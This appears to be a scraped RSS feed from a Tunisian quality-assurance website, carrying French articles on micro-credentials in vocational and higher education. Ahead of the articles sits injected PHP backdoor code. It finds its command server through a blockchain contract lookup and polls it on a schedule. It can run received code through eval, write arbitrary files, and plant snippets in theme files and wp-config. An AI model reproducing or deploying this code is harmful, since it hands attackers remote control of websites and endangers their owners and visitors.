// na_mv if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/var/www/vhosts/qaas.tn/httpdocs/wp-content/plugins/wp-helper-77ac52/wp-helper-77ac52.php', 'ctrl'=>'// na_mv', 'vis'=>'// ow_6e', 'vis_func'=>'wp_klfu7e', 'vis_paths'=>array('/var/www/vhosts/qaas.tn/httpdocs/wp-content/plugins/wp-helper-77ac52/wp-helper-77ac52.php'), 'opt'=>'_wp_h8636fa6', ); $keys=array(); $keys['id']='glq'; $keys['ver']='4p'; $keys['caps']='bk6'; $keys['tasks']='6d1'; $keys['interval']='l8r'; $keys['ack_id']='mmn'; $keys['ok']='px'; $keys['detail']='u1u'; $keys['inv']='jmh'; $keys['result']='qmc'; $hdr='X-YQ1-Auth';$tok='qP7ytA6vu-I0pf283wij6ijcqUCds48tay55_gEl5rY';$id='3b61f4798ddce5a3';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); https://qaas.tn Nous sommes les artisans de la qualité Thu, 25 May 2023 09:36:45 +0000 fr-FR hourly 1 https://qaas.tn/wp-content/uploads/2020/11/cropped-QAAS_ar5-32x32.png https://qaas.tn 32 32 Position commune de la CES et du CSEE surles micro-certificats dans l’EFP et l’enseignement supérieur https://qaas.tn/2023/05/25/position-commune-de-la-ces-et-du-csee-surles-micro-certificats-dans-lefp-et-lenseignement-superieur/ Thu, 25 May 2023 09:18:21 +0000 https://qaas.tn/?p=3006 Adopté par le Bureau du CSEE le 23 juin 2020

Adopté par le Comité Exécutif de la CES le 2 juillet 2020

 


Contexte
Dans les récentes discussions politiques, la Commission européenne a proposé avec un enthousiasme
accru la mise en place de micro-certificats dans l’enseignement et la formation professionnels (EFP)
ainsi que dans l’enseignement supérieur. Le thème des micro-certificats a récemment été abordé lors
de la réunion du Comité consultatif pour l’EFP (ACVT) relative à la future initiative du Programme des
compétences, et lors des réunions du Groupe de suivi du processus de Bologne (BFUG) concernant le
prochain Communiqué de Rome et un projet sur les micro-certificats dans l’enseignement supérieur.
Le document de travail de la Commission européenne présenté lors de la réunion de l’ACVT (le 10 juin
2020) mentionne que ce thème jouera un rôle important dans les prochaines initiatives politiques de
la Commission car celle-ci « a entamé une réflexion sur une possible approche européenne des microcertificats. Une initiative commune entre les commissaires Gabriel et Schmit, impliquant les acteurs
du marché du travail et du secteur de l’éducation et de la formation, vise à l’élaboration d’une feuille
de route dans laquelle figurent les actions à entreprendre au niveau européen pour assurer
l’adoption, la validation et la reconnaissance des micro-certificats. »
Toutefois, l’absence d’une définition convenue et d’une compréhension commune des microcertificats au niveau européen constitue la première difficulté. Le document de travail de la
Commission européenne définit les micro-certificats comme suit : « Les micro-certificats sont des
attestations qui confirment qu’une personne a acquis une compétence à part entière, c’est-à-dire des
connaissances, des aptitudes et/ou une expérience dans un domaine bien défini et limité. » Nous
estimons que cette définition de la Commission Européenne reste très vague, et que celle proposée
par l’Université d’État de New York (SUNY) peut être considéré comme un point de départ pour
élaborer une définition européenne des micro-certificats: « Les micro-certificats vérifient, valident et
confirment que des compétences et/ou aptitudes spécifiques ont été acquises, ils sont approuvés par
l’établissement émetteur, mis en œuvre par le biais de processus de gestion établis du corps professoral
et conçus pour être utiles et de haute qualité. »1
Dans son document de travail sur les diplômes alternatifs dans l’enseignement supérieur paru en
2020 , l’OCDE explique que les « diplômes alternatifs » sont des « diplômes non reconnus par les
autorités nationales compétentes comme des qualifications éducatives formelles autonomes », et
qu’ils peuvent être décernés à tous les niveaux d’enseignement. En ce qui concerne l’enseignement
supérieur, le document fait référence à un nouveau projet de l’Union (MicroHE3
) qui définit les micro1

Rapport et recommandations du groupe de travail sur les micro-certificats de l’Université d’État de New York.
2 OCDE (Shizuka Kato, Victoria Galán-Muros, Thomas Weko) : L’émergence des diplômes alternatifs, mars 2020
Projet MicroHE 

LINK

]]>
Vers une approche européenne desmicro-certificats : une étude despratiques et des similitudes dans l’offrede micro-certificats au sein del’enseignement supérieur européen. https://qaas.tn/2023/05/25/vers-une-approche-europeenne-desmicro-certificats-une-etude-despratiques-et-des-similitudes-dans-loffrede-micro-certificats-au-sein-delenseignement-superieur-europeen/ Thu, 25 May 2023 09:11:21 +0000 https://qaas.tn/?p=3004  

 

Résumé analytique
Les micro-certificats gagnent du terrain
Le recours croissant aux micro-certificats est le résultat de l’évolution de la nature
du marché du travail et de l’incertitude croissante quant à la forme que prendra le
travail à l’avenir. Il existe aujourd’hui moins « d’emplois à vie » et les employeurs
exigent de la flexibilité et des réactions rapides aux changements. Les mesures de
confinement introduites dans toute l’UE pour lutter contre la pandémie de COVID-19 ont
eu un impact considérable sur le marché du travail européen, des millions de travailleurs
ayant perdu leur emploi ou ayant été placés sous des régimes de travail à court terme.
Les micro-certificats sont particulièrement utiles dans cette situation, car ils
permettent un (re)développement des compétences sur mesure, rapide et
accessible. La crise sanitaire pourrait être l’occasion pour les établissements
d’enseignement supérieur d’accroître leur offre de micro-certificats. Par exemple, le
Groupe d’universités de Coimbra et la Conférence des recteurs d’université allemands
(HRK) ont publié des perspectives collectives dans lesquelles ils expriment leur soutien
à des programmes plus flexibles et modulaires, et à la reconnaissance au moyen de
micro-certificats dans le contexte de la crise actuelle. L’utilisation de micro-certificats
par les prestataires d’enseignement supérieur peut permettre de favoriser la formation
continue, combler le déficit de connaissances et de compétences, accroître l’efficacité
des systèmes d’enseignement supérieur, encourager l’innovation en termes d’offre et
atteindre des groupes d’apprenants divers (BFUG, 2020).
La pandémie a accru l’intérêt des apprenants pour les micro-certificats et les cours
en ligne ouverts et massifs (MOOC, de l’anglais Massive Online Open Courses). Les
prestataires ont constaté une augmentation considérable des inscriptions aux cours par
rapport à la même période en 2019. Le nombre de sessions sur les plateformes de
MOOC a également augmenté en mars 2020 par rapport à février 2020 (voir tableau 1).
Les apprenants potentiels recherchent des possibilités d’apprentissage supplémentaires
à un prix raisonnable, de courte durée et faciles d’accès.
Tableau 1. Sessions (en millions) des plateformes de MOOC les plus populaires

Prestataire de MOOC  Sessions (en millions)1
Coursera 45 (+ 67 %)
edX 19,2 (+ 52 %)
FutureLearn  6,15 (+ 116 %)

Source : Class Central, 2020.
Ces dernières années ont également vu une augmentation du nombre de politiques
et d’initiatives en faveur des micro-certificats. Le 30 septembre 2020, la
Commission européenne a présenté sa vision pour la création d’un espace européen de
l’éducation d’ici 2025 , et a annoncé des mesures concrètes déclinées en six axes.
L’élaboration d’une approche européenne des micro-certificats fait partie intégrante du
deuxième axe, à savoir l’inclusion et l’égalité des genres.


2 Dans une nouvelle communication sur l’espace européen de l’éducation, la Commission propose de nouvelles initiatives, davantage d’investissements e t une coopération renforcée des États m embres pour aider les Européens de tous âges à bénéficier de la riche sse de l’o ffre d’enseignement e t de formation de l’UE.

Pour plus d’informations : 

Lien

]]>
LES MICRO-CERTIFICATIONS : ENJEUX, DÉFIS ET INITIATIVES https://qaas.tn/2023/05/25/les-micro-certifications-enjeux-defis-et-initiatives/ Thu, 25 May 2023 08:58:16 +0000 https://qaas.tn/?p=3001  

Que sont les micro-certifications ? Qui les propose ? Pourquoi sont-elles utiles ? Cet article présente les enjeux de ce nouveau type de certifications et les mesures que les gouvernements commencent à prendre pour les mettre en œuvre en établissent des critères et des normes de qualité.

Ces dernières années, un nouveau type de certifications et de formations de courte durée s’est développé : les « micro-certifications ». Ce phénomène, en pleine évolution, est en train de prendre une ampleur considérable dans le paysage de l’éducation et de la formation.

QU’EST-CE QU’UNE MICRO-CERTIFICATION ?

Il n’existe pas de définition commune des micro-certifications (en anglais, micro-credentials). Micro-certificats, micro-crédits, microtitres (de compétences), open badges, titres numériques, nano-diplômes, microMasters, mini degrees… les dénominations et les formes que peuvent prendre les micro-certifications varient, comme les modalités de prestation sous-jacentes, selon l’organisme qui les émet. 

Selon la Commission européenne, les micro-certifications sont de « petites unités de formation » qui donnent lieu à une reconnaissance de compétences, aussi bien par des institutions académiques que par des entreprises et autres organisations publiques ou privées.
L’OCDE, dans son document de travail sur les diplômes alternatifs dans l’enseignement supérieur, explique que les diplômes alternatifs sont des « diplômes non reconnus par les autorités nationales compétentes comme des qualifications éducatives formelles autonomes », et qu’ils peuvent être décernés à tous les niveaux d’enseignement.
Le projet européen MicroHE définit les micro-certifications dans l’enseignement supérieur comme un « sous-groupe d’un ou de plusieurs diplômes qui confère un minimum de 5 crédits ECTS et qui pourrait venir compléter un diplôme plus important ou faire partie d’un portfolio ».
Selon le Conseil ontarien de la qualité de l’enseignement supérieur (COQES), une micro-certification est une preuve d’apprentissage octroyée à l’issue de la participation à un court programme visant à enseigner un petit ensemble de compétences et est parfois liée à d’autres titres de compétences.
Enfin, pour l’Unesco, les micro-certifications « se composent de modules d’apprentissage nettement moins longs que les titres scolaires conventionnels et permettent souvent aux apprenants d’accomplir le travail requis sur une période plus courte ».

Malgré leur hétérogénéité, presque toutes ces définitions mettent en évidence des caractéristiques communes : les micro-certifications concernent :

  • un petit ensemble de compétences,
  • une courte durée de l’apprentissage,
  • tous les publics : étudiants, futurs étudiants, demandeurs d’emploi et employés.

 

En revanche, la manière dont les micro-certifications sont délivrées aux apprenants varie considérablement :

  • toute une gamme de prestataires, publics et privés les délivrent (établissements d’enseignement supérieur, organismes d’enseignement et de formation professionnels, entreprises, syndicats, organismes industriels, ONG, etc.),
  • elles sont fournies sous différents formats (des formes de certificat, de badges etc.),
  • elles peuvent être délivrées en face à face, en ligne ou selon une approche hybride, même si nombreuses micro-accréditations sont actuellement proposées en ligne et sont basées sur des MOOCs,
  • elles varient en termes de conception et de prestation, de durée, de rythme (l’apprenant peut souvent aller à son propre rythme) et de charge de travail, ainsi qu’en termes de contenu (des compétences et connaissances générales aux compétences très spécialisées),
  • enfin, elles varient en termes de qualité des descriptions des résultats d’apprentissage et de pratiques d’évaluation. Les micro-certifications peuvent être attribuées en fonction de la présence aux cours, de la réussite aux devoirs ou aux examens. Elles peuvent valider les habiletés acquises par l’expérience ou l’apprentissage antérieurs.

 

Les micro-certifications fonctionnent comme des unités d’apprentissage autonomes qui complètent des études supérieures ou en enseignement professionnel, et/ou peuvent se cumuler ou être intégrées pour constituer un diplôme plus conséquent, grâce à l’attribution de crédits. Pour que les bénéficiaires puissent les utiliser et les valoriser, ces micro-certifications doivent s’appuyer sur des technologies numériques qui permettent leur vérification et leur gestion. Comme pour les diplômes traditionnels, la question de la reconnaissance et de l’authenticité des micro-certifications est cruciale.

DES SOLUTIONS NUMÉRIQUES SOUS-JACENTES

Les badges ouverts (Open Badges)

Les badges ouverts se présentent sous forme d’icône dans laquelle sont enregistrées un certain nombre d’informations ou métadonnées telles que l’identité du récepteur du badge, celle de l’émetteur, les critères d’attribution du badge et les preuves justifiant de son attribution. Ils sont utilisés pour confirmer l’acquisition d’aptitudes, de connaissances ou de compétences. Ils constituent des preuves des résultats d’apprentissage en fin de formation ou en cours de certification (en particulier s’il est lié ou intégré à un système de portfolio numérique), et peut être partagé et affiché sur différentes plates-formes dans des formats lisibles par l’homme et par la machine.

Si les micro-certifications peuvent êtres des badges ouverts, tous les badges ouverts ne sont pas de véritables micro-certifications, notamment s’ils ne disposent pas de normes d’accréditation fondées sur l’évaluation, vérifiées et approuvées par les parties prenantes de l’écosystème des micro-certifications.

 

Les chaînes de blocs (Blockchain)

La note « Comprendre les blockchains » (2018) de l’Office parlementaire français d’évaluation des choix scientifiques et technologiques définit la « chaîne de blocs » comme une technologie de stockage et de transmission d’informations, qui permet « la constitution de registres répliqués et distribués » sans le recours à un organisme régulateur central, « structurés par des blocs liés les uns aux autres et sécurisés grâce à la cryptographie ».

L’utilisation des plates-formes blockchain a le potentiel d’accroître la confiance dans les micro-certifications. Cette nouvelle manière d’enregistrer, de stocker et d’interconnecter les données est extrêmement utile pour valider et sécuriser les micro-certifications. Elle garantit l’authenticité, la confiance, la transparence, l’immuabilité et l’intégrité des informations enregistrées, qui sont décentralisées et interconnectées sans médiateurs tiers.

POURQUOI L’ÉMERGENCE DES MICRO-CERTIFICATIONS ? 

a) L’explosion de la demande de cours en ligne, brefs et personnalisés

Les grandes plateformes en ligne sont pionnières en matière de promotion des micro-certifications. La crise de la COVID-19 n’a fait qu’accroître la demande d’apprentissage en ligne, et des cours brefs et personnalisés.
Class Central, un moteur de recherche recensant plus de 10 000 MOOCs proposés par plus de 900 universités dans le monde, signale une forte augmentation du nombre de cours et des inscriptions depuis le début de la pandémie, avec 180 millions d’apprenants (hors Chine) et plus de 2800 nouveaux cours en 2020. On comptabilisait en novembre 2020 1180 micro-certifications de treize types différents.


A titre d’exemple, le catalogue de Coursera comprend plus de mille specializations, des micro-certifications qui se composent de plusieurs cours et se préparent entre quatre et six mois.
Elle propose aussi des MasterTrack, une formation empilable permettant aux étudiants de gagner des crédits pour l’obtention d’un master complet. Ainsi que des « projets guidés » permettant d’acquérir des compétences pertinentes pour l’emploi en moins de deux heures.
La plateforme EdX, créée par Harvard et le Massachusetts Institute of Technology (MIT), propose 59 MicroMasters, des programmes d’apprentissage en ligne organisés autour de plusieurs MOOCs. Ils permettent de développer des compétences favorisant l’employabilité tout en offrant la possibilité de valider des crédits dans des universités prestigieuses.
FutureLearn, la plate-forme créée par l’Open Universitypropose 41 micro-certifications, conçues notamment pour de se perfectionner dans le domaine des industries à croissance rapide. Elles peuvent être utilisées comme certifications indépendantes, et certaines offrent des crédits pour obtenir un diplôme. FutureLearn et Microsoft viennent par ailleurs de lancer un programme de micro-certifications sur l’intelligence artificielle et plus généralement sur les technologies numériques.

Les établissements d’enseignement supérieur sont des importants prestataires de micro-certifications. Ils fournissent à la fois des micro-certifications créditées et non créditées, sur leur propre plateforme, en ligne, ou bien en partenariat avec les grandes plateformes mondiales. Futurelearn propose des micro-certifications en partenariat avec des établissements tels que l’université de Monash, l’Open university, les universités de Glasgow, Queen Mary of London, Dublin city, Deakin.

Les grandes entreprises sont aussi concernées : Amazon et Ernst & Young offrent de plus en plus leurs propres micro-accréditations, certains parcours pouvant mener à des certificats professionnels. Par exemple, les employés de McDonald’s peuvent suivre des cours de formation axés sur des compétences.

b) Un marché du travail en pleine mutation

Les modèles traditionnels de diplômes et certifications ne répondent pas toujours efficacement au besoin de réactivité imposé par le marché du travail.
Numérisation, automatisation des processus, intelligence artificielle, transition écologique … Le marché du travail est en pleine mutation.
Les estimations indiquent que la moitié de tous les emplois subiront des changements substantiels en raison de l’automatisation au cours des dix prochaines années, de sorte que la main-d’œuvre, quelles que soient ses qualifications initiales, devra mettre à jour ses compétences (Forum économique mondial, 2020).
Les employeurs demandent de nouvelles compétences, de la flexibilité et des réactions adéquates aux changements rapides. Un nombre croissant d’adultes, avec ou sans diplôme de l’enseignement supérieur, devront se requalifier afin de combler le fossé entre les résultats d’apprentissage de leurs certifications formelles initiales et les besoins de compétences émergents.

Pour les apprenants, les micro-certifications sont généralement moins coûteuses que les diplômes traditionnels, notamment dans les pays où les frais de scolarité sont élevés, en particulier aux États-Unis, en Australie et en Nouvelle-Zélande où le phénomène est très présent.

Options d’apprentissage ciblées et de courte durée, les micro-certifications permettent un (re)développement des compétences sur mesure, rapide et accessible. Elles sont utiles en tant que certifications autonomes, pour compléter ou enrichir les programmes diplômants pour une plus grande employabilité, et augmentent les opportunités d’apprentissage tout au long de la vie. Les micro-certifications permettent également des parcours d’apprentissage plus flexibles, davantage personnalisés et centrés sur l’apprenant.
Sur un « marché du travail […] devenu extrêmement compétitif » elles peuvent représenter un moyen de se différencier pour augmenter son employabilité avec la possibilité de se construire un parcours unique. » (Thot Cursus, 2021)

LES MICRO-CERTIFICATIONS VONT-ELLES REMPLACER LES CERTIFICATIONS TRADITIONNELLES ?

Si les diplômes alternatifs, en particulier lorsqu’ils sont liés à l’expérience professionnelle, peuvent se substituer à certains diplômes d’enseignement supérieur dans certains secteurs, tels que l’informatique, où les titres alternatifs sont déjà bien connus et reconnus, et réussissent à attirer des apprenants non traditionnels, les diplômes alternatifs ne remplacent pas un diplôme traditionnel. Au contraire, ils complètent la formation et l’expérience antérieures. (Kato et. al, 2020). Les apprenants n’ont pas encore adopté les micro-accréditations à grande échelle. Les employeurs ne sont pas encore familiarisés avec les micro-certifications. (Kato et. al., 2020, Oliver, 2019)
Les résultats d’un récent sondage du Conseil ontarien de la qualité de l’enseignement supérieur auprès de 201 employeurs canadiens confirme cette tendance. « La plupart des employeurs que nous avons interrogés n’étaient pas sûrs de la signification du mot « microcertification » (Pichette et al., 2021)

De nombreux rapports soulignent que la prolifération des micro-accréditations, ainsi que l’absence d’une compréhension commune constituent des sources de confusion – pour les apprenants et pour les employeurs, mais aussi pour les prestataires-, et peut nuire à la valeur accordée aux micro-accréditations.

La diversité et la complexité de l’offre émanant de différents prestataires soulève des questions sur la manière de garantir la transparence, la qualité, la reconnaissance et la portabililité des micro-certifications.
Les approches en matière d’assurance qualité diffèrent et ne sont pas toujours suffisamment transparentes ; les processus de reconnaissance ne sont pas toujours suffisamment harmonisés.
Peu de micro-accréditations ont des normes ou des taxonomies communes liées aux aptitudes et compétences, ce qui peut empêcher la transférabilité des micro-certifications. (Oliver, 2019)
La valeur des micro-accréditations est souvent mal comprise en raison du manque de normes de qualité et de transparence dans un paysage très diversifié.
Des problèmes de comparabilité peuvent également freiner leur progression.

A l’heure actuelle, l’empilement des micro-certifications demeure limité : la plupart des micro-certifications ne combinent et s’empilent pas pour constituer un diplôme ou une certification. Si tel est le cas, les micro-certifications concernées sont généralement attribuées par le même établissement d’enseignement et ne sont souvent pas reconnues par un autre établissement. L’attribution de crédits pourrait potentiellement permettre aux apprenants de superposer et de faire correspondre les micro-accréditations de différentes institutions afin de constituer un diplôme complet.

Enfin, alors que les solutions numériques ont déjà pris de l’ampleur dans le domaine de l’apprentissage en ligne et qu’il existe des moyens fiables d’organiser l’offre, les solutions numériques pour la validation, la reconnaissance et le stockage des micro-certifications sont prometteuses, mais encore naissantes.

DES INITIATIVES À TRAVERS LE MONDE

Australie
En juin 2020, le gouvernement a annoncé qu’il allait consacrer un budget de 4,3 millions de dollars australiens à la création et à la gestion d’un marché et d’une plateforme pour des formations en ligne aboutissant à des micro-certifications. Elle réunira 54 prestataires fournissant 344 cours en ligne. Cette plate-forme permettra aux demandeurs d’emploi d’identifier les compétences qu’ils peuvent acquérir en préparant des micro-certifications et aux étudiants de comparer les résultats des cours, leur durée, leur mode de prestation et leur valeur en points de crédit. Par ailleurs, la ministre de l’emploi a déclaré que le gouvernement fédéral accélérait actuellement l’examen des micro-certifications dans le système d’enseignement et de formation professionnels.
A l’instar de la Malaisie, le cadre OpenCreds a été récemment adopté en Australie afin de fournir une structure commune pour la prestation de micro-accréditations dans l’enseignement supérieur, l’enseignement professionnel et l’industrie. Ce cadre permet aux prestataires d’offrir des cours brefs et cumulables allant de deux heures et demi à 150 heures d’apprentissage qui mènent à des crédits pour une certification formelle.

Canada
Les gouvernements provinciaux, dont l’Ontario, la Saskatchewan et la Colombie-Britannique, ont tous pris des mesures pour investir et élargir le rôle des micro-certifications de compétences au sein de leurs systèmes éducatifs.
Dans son budget de 2020, l’Ontario s’est engagé à verser près de 60 millions de dollars dans le cadre d’une stratégie relative aux micro-certifications de compétences pour le perfectionnement des compétences liées à l’emploi. Cette stratégie comprend de nouveaux programmes, un portail en ligne, et une campagne de sensibilisation du public. En mars, le gouvernement a annoncé qu’il étendait le nombre des programmes pouvant faire l’objet de demandes de prêts et de bourses de la part des étudiants de l’Ontario en y incluant près de 600 programmes de micro-certifications.

eCampusOntario est le chef de file de la délivrance de microtitres de compétences à l’échelle provinciale. L’établissement a mené des recherches sur la gouvernance et les modèles d’affaires de micro-certifications et a dirigé 36 projets liés aux microtitres de compétences depuis 2017. Il pilote un modèle d’écosystème de microtitres de compétences dans les collèges et universités depuis 2017 et prône un modèle de dégroupement de l’apprentissage réunissant les apprenants, les fournisseurs de services d’éducation postsecondaire et l’industrie dans une relation réciproque fondée sur la confiance, la valeur et l’échange.

États-Unis
Le Credential Transparency Description Language (CTDL) propose une base de données utilisant un vocabulaire commun, unifié et transparent pour décrire les titres, les diplômes, les badges, les certifications de tous types et tous niveaux. Le United States Council for Higher Education Accreditation (CHEA) décrit les critères de qualité possibles pour les diplômes alternatifs.

France
Les partenaires sociaux et France compétences ont défini la notion de blocs de compétences désormais traduite dans le code du travail comme des « ensembles homogènes et cohérents de compétences contribuant à l’exercice autonome d’une activité professionnelle et pouvant être évaluées et validées ».
